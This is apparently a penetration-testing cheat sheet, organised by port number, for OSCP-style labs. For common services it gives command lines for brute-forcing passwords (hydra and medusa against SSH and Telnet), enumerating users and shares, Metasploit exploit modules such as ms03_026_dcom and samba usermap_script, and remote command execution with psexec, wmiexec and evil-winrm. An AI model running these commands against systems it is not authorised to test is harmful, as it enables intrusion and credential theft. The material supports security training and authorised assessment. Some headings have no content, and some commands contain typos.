Exploitation by Port

After finding your target and enumerating it, its now time for your initial access. This step is usually focused around exploiting a port/service open to you. There are tons of different ways to do this as you can see with the guides and list below. Keep in mind that just because you cannot completely exploit one service does not mean it wont be helpful. Certain services may have interesting intel that might help you exploit something else, such as an open FTP server with anonymous auth, that contains a few docs with valid usernames in it (you will find worse things).

Once you have your initial exploitation, you will essentially attempt a second round of it to escalate your privileges in the target box. Some times that can be done by getting initial access on another trusted box, or even by a service that is running internally on the loopback. Check everything, look everywhere, and dont forget the OSCP catch phrase, "try harder!"

Guides: Exploitation by Port

Exploit by Port

21 - FTP

ftp> get [target file] 

22 - SSH

# medusa -M ssh -C /usr/share/wordlists/ssh.lst -H 22.txt -T 10| grep SUCCESS |tee medusa-results.txt 
# medusa -h  -u  -P /path/to/wordlist -M [telnet|ssh] 
# hydra -t 16 -l USERNAME -P /usr/share/wordlists/rockyou.txt -vV 10.10.47.138 ssh

23 - Telnet

# medusa -M telnet -C /usr/share/wordlists/telnet.lst -H 23.txt -T 10 -t 3| grep SUCCESS |tee medusa-results.txt
# medua -h <tehost.ip> -u <account.name> -P /path/to/wordlist -M [telnet|ssh]

25 - SMTP

HELO - 
EHLO - Extended SMTP.
STARTTLS - SMTP communicted over unencrypted protocol. By starting TLS-session we encrypt the traffic.
RCPT - Address of the recipient.
DATA - Starts the transfer of the message contents.
RSET - Used to abort the current email transaction.
MAIL - Specifies the email address of the sender.
QUIT - Closes the connection.
HELP - Asks for the help screen.
AUTH - Used to authenticate the client to the server.
VRFY - Asks the server to verify is the email user's mailbox exists.
>VRFY root
>EXPN root

47/1723 - PPTP

Point-to-Point Tunneling Protocol provides remote access to mobile devices, uses TCP port 1723 for key exchange and IP protocol 47 (GRE) to encrypt data between peers.

  • $ nmap –Pn -sSV -p1723 $ip

53 - DNS

# dnsrecon -d [domain] -t axfr
# dnsenum [domain]

69 - TFTP

tftp [target] PUT local_file
tftp [target] GET example.txt

79 - Finger

#finger username@domain.com
$ finger-user-enum.pl -U users.txt -t $ip

80/443 - Web

Open a connection

  • $ openssl s_client -connect $ip:443

Basic SSL ciphers check

  • $ nmap --script ssl-enum-ciphers -p 443 $ip

Look for unsafe ciphers such as Triple-DES and Blowfish

Very complete tool for SSL auditing is testssl.sh, finds BEAST, FREAK, POODLE, heart bleed, etc...

pageWeb App Hacking

88/464 - Kerberos

Tools and Guides
$ nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=research $ip
pageAttacking Active Directory

110 - Pop3

Just telnet it.

111 - RPCbind or Portmapper

Nmap scripts

# nmap -sV -p 111 --script=rpcinfo [target]
# nmap -p 111 --script nfs* [target]

Impacket tool RPCdump.py

# rpcdump.py username:password@IP_Address port/protocol (i.e. 80/HTTP)

113 Ident Service

  • ident-user-enum - A simple PERL script to query the ident service (113/TCP) in order to determine the owner of the process listening on each TCP port of a target system.

123-NTP

Enumeration

#ntpdc -c monlist [target]
#ntpdc -c sysinfo [target]
#ntpq

135 - RPC

Enumerate, shows if any NFS mount exposed

  • $ rpcinfo -p $ip
  • $ nmap $ip --script=msrpc-enum
  • # Endpoint Mapper Service Discovery
    use auxiliary/scanner/dcerpc/endpoint_mapper
    
    #Hidden DCERPC Service Discovery
    use auxiliary/scanner/dcerpc/hidden
    
    # Remote Management Interface Discovery
    use auxiliary/scanner/dcerpc/management
    
    # DCERPC TCP Service Auditor
    use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
    msf > use exploit/windows/dcerpc/ms03_026_dcom

137-139/445 - SMB/NetBios

nmblookup -A 10.11.1.111

NSE Enumeration

#nmap -p 135-139,445 -vv --script=smb-enum* 10.10.10.10

SMB Users & Shares Scan

nmap -p 445 -vv --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.10.10

https://github.com/cddmp/enum4linux-ng/

enum4linux -a 10.10.10.10

nbtscan

#nbtscan [target]
smbmap -H 10.11.1.111
rpcclient -U "" 10.10.10.10
smbclient //10.11.1.111/IPC$ -N

#Exploit
enum4linux -a 10.11.1.111
enum4linux-ng.py 10.11.1.111 -A -C
/usr/share/doc/python3-impacket/examples/samrdump.py 10.11.1.111
Impacket Scripts
  • psexec.py: PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom).

  • smbexec.py: A similar approach to PSEXEC w/o using RemComSvc. The technique is described here. Our implementation goes one step further, instantiating a local smbserver to receive the output of the commands. This is useful in the situation where the target machine does NOT have a writeable share available.

  • atexec.py: This example executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.

  • wmiexec.py: A semi-interactive shell, used through Windows Management Instrumentation. It does not require to install any service/agent at the target server. Runs as Administrator. Highly stealthy.

  • dcomexec.py: A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints. Currently supports MMC20.Application, ShellWindows and ShellBrowserWindow objects.

  • smbclient.py: A generic SMB client that will let you list shares and files, rename, upload and download files and create and delete directories, all using either username and password or username and hashes combination. It's an excellent example to see how to use impacket.smb in action.

  • addcomputer.py: Allows to add a computer to a domain using LDAP or SAMR (SMB).

  • getArch.py: This script will connect against a target (or list of targets) machine/s and gather the OS architecture type installed by (ab)using a documented MSRPC feature.

  • ifmap.py: This script will bind to the target's MGMT interface to get a list of interface IDs. It will used that list on top of another list of interface UUIDs seen in the wild trying to bind to each interface and reports whether the interface is listed and/or listening.

  • lookupsid.py: A Windows SID brute forcer example through [MS-LSAT] MSRPC Interface, aiming at finding remote users/groups.

  • netview.py: Gets a list of the sessions opened at the remote hosts and keep track of them looping over the hosts found and keeping track of who logged in/out from remote servers

  • opdump.py: This binds to the given hostname:port and MSRPC interface. Then, it tries to call each of the first 256 operation numbers in turn and reports the outcome of each call.

  • reg.py: Remote registry manipulation tool through the [MS-RRP] MSRPC Interface. The idea is to provide similar functionality as the REG.EXE Windows utility.

  • rpcdump.py: This script will dump the list of RPC endpoints and string bindings registered at the target. It will also try to match them with a list of well known endpoints.

  • samrdump.py: An application that communicates with the Security Account Manager Remote interface from the MSRPC suite. It lists system user accounts, available resource shares and other sensitive information exported through this service.

  • services.py: This script can be used to manipulate Windows services through the [MS-SCMR] MSRPC Interface. It supports start, stop, delete, status, config, list, create and change.

Metasploit

Version

msfconsole; use scanner/smb/smb_version; set RHOSTS $ip; run

MultiExploit

msfconsole; use exploit/multi/samba/usermap_script; set lhost 192.168.0.X; set rhost $ip; run

Basic SNMP Info
  • Default community strings

    • public, private, cisco (cable-docsis, ILMI)

  • Windows NT MIB codes

    • .1.3.6.1.2.1.1.5 Hostnames

    • .1.3.6.1.4.1.77.1.4.2 Domain Name

    • .1.3.6.1.4.1.77.1.2.3.1.1 Running Services

    • .1.3.6.1.4.1.77.1.2.27 Share Information

Fix SNMP outputs to be human readable

# apt-get install snmp-mibs-downloader download-mibs
# echo "" > /etc/snmp/snmp.con

Brute force community string check, find SNMP services.

onesixtyone - onesixtyone is a simple SNMP scanner which sends SNMP requests for the sysDescr value asynchronously with user-adjustable sending times and then logs the responses which gives the description of the software running on the device.

# onesixtyone -c community.list -i hosts.list
$ snmpenum $ip public windows.txt

Enumerating the entire MIB tree

https://linux.die.net/man/1/snmpwalk

# snmpwalk -c [community string] -v1 -t 10 [target]

Enumerate Specific MIB Code

# snmpwalk -c [community string] -v1 [target] [MIB code]

Metasploit Aux scanner - snmp_enum

msf> use auxiliary/scanner/snmp/snmp_enum
msf> set RHOSTS [target]

264/18264 - Checkpoint Firewall

389/636 - LDAP

https://sourceforge.net/projects/ldapminer/

#ldapminer -h [target] -d

500/1723 - PPTP/L2TP/VPN

503 - Modbus

513 - rlogin

#apt install rsh-client
#rlogin -l root 10.11.1.111

514 - rsh/syslog

rsh host [-l username] [-n] [-d] [-k realm] [-f | -F] [-x] [-PN | -PO] command

541 - FOrtinet SSLVPN

1025 - NFS/IIS

1433/1434 - MSSQL

  • SQLPing - SQL Server scanning tool that also checks for weak passwords using wordlists.

  • SQLpoke- SQL Server scanning tool

>sqlpoke [Start IP] [End IP] [Port] [Command File]
  • SQL Recon - performs both active and passive scans of your network in order to identify all of the SQL Server/MSDE installations in your enterprise

1494 - Citrix

1521 - Oracle

oracsec - A simple utility that can be used to enumerate SID's and carry out a simple username and password check against all default known usernames and passwords.

Oscanner - an Oracle assessment framework developed in Java.

# apt-get install oscanner
# oscanner -s 192.168.1.200 -P 1521

tnscmd10g

#apt-get install tnscmd10g
#tnscmd10g version -h TARGET

Nmap

#nmap --script=oracle-tns-version

1723 - PPTP

  • thc-pptp-bruter - Brute force program against pptp vpn endpoints (tcp port 1723). Fully standalone. Supports latest MSChapV2 authentication. Tested against Windows and Cisco gateways. Exploits a weakness in Microsoft’s anti-brute force implementation which makes it possible to try 300 passwords the second.

1900 - SSDP (UDP)

  • evil-ssdp - This tool responds to SSDP multicast discover requests, posing as a generic UPNP device on a local network. Your spoofed device will magically appear in Windows Explorer on machines in your local network.

2000 - Cisco SCCP

cisco-auditing-tool

#CAT -h ip -p 2000 -w /usr/share/wordlists/rockyou.txt 

Cisco Smart Install exploitation tool

sudo python siet.py -g -i 192.168.0.1

2049 - NFS

#showmount -e hostname/ip
#mount -t nfs [ip]:/directory_found /local_mount_point

2100 - Oracle XML DB

Default passwords:

https://docs.oracle.com/cd/B10501_01/win.920/a95490/username.htm

3268/3269 - LDAP Global Catalog

3306 - MySQL

#mysql -h [IP] -u [username] -p

3389 RDP

4443 - Sophos and Sonicwall

4786 - Cisco Smart Install

#nmap -p 4786 -v 192.168.0.1 --script ./cisco-siet.nse

5060 - SIP

  • SipVicious - SIPVicious OSS is a set of security tools that can be used to audit SIP based VoIP systems. Specifically, it allows you to find SIP servers, enumerate SIP extensions and finally, crack their password.

5432 - PostgreSQL

psql -h 10.10.1.111 -U postgres -W
pg_dump --host=10.10.1.111 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump

5601/9200 - ELK

https://pentestbook.six2dez.com/enumeration/webservices/elk

5800/5900 - VNC

vncviewer 192.168.1.1

5984 - CouchDB

curl http://example.com:5984/
curl -X GET http://IP:5984/_all_dbs
curl -X GET http://user:password@IP:5984/_all_dbs

5985/5986 - WinRM

  • If 5985 is open. WinRM is running

  • If 5986 is closed, then WinRM is only configed to accept HTTP connections and encryption is not enabled.

PS> Invoke-Command -ComputerName TARG ET -ScriptBlock { dir c:\ }
PS> EnablePSRemoting -Force

gem install evil-winrm
evil-winrm -i 10.11.1.111 -u Administrator -p 'password1'
evil-winrm -i 10.11.1.111 -u Administrator -H 'hash-pass' -s /scripts/folder

6379 Redis

Enumerate:

  • $ nmap -p6379 --script redis-info $ip

Client:

  • $ redis-cli -h $ip

#python redis.py 10.10.10.160 redis

8000 - Splunk

9100 - default printer

9200 - Elastic Search API

11211 - Memcached

Enumerate:

  • $ nmap -p11211 --script memcached-info $ip

Extract data:

  • msf > use auxiliary/gather/memcached_extractor

27017-19/27080/28017 - MongoDB

RCE Ports

Last updated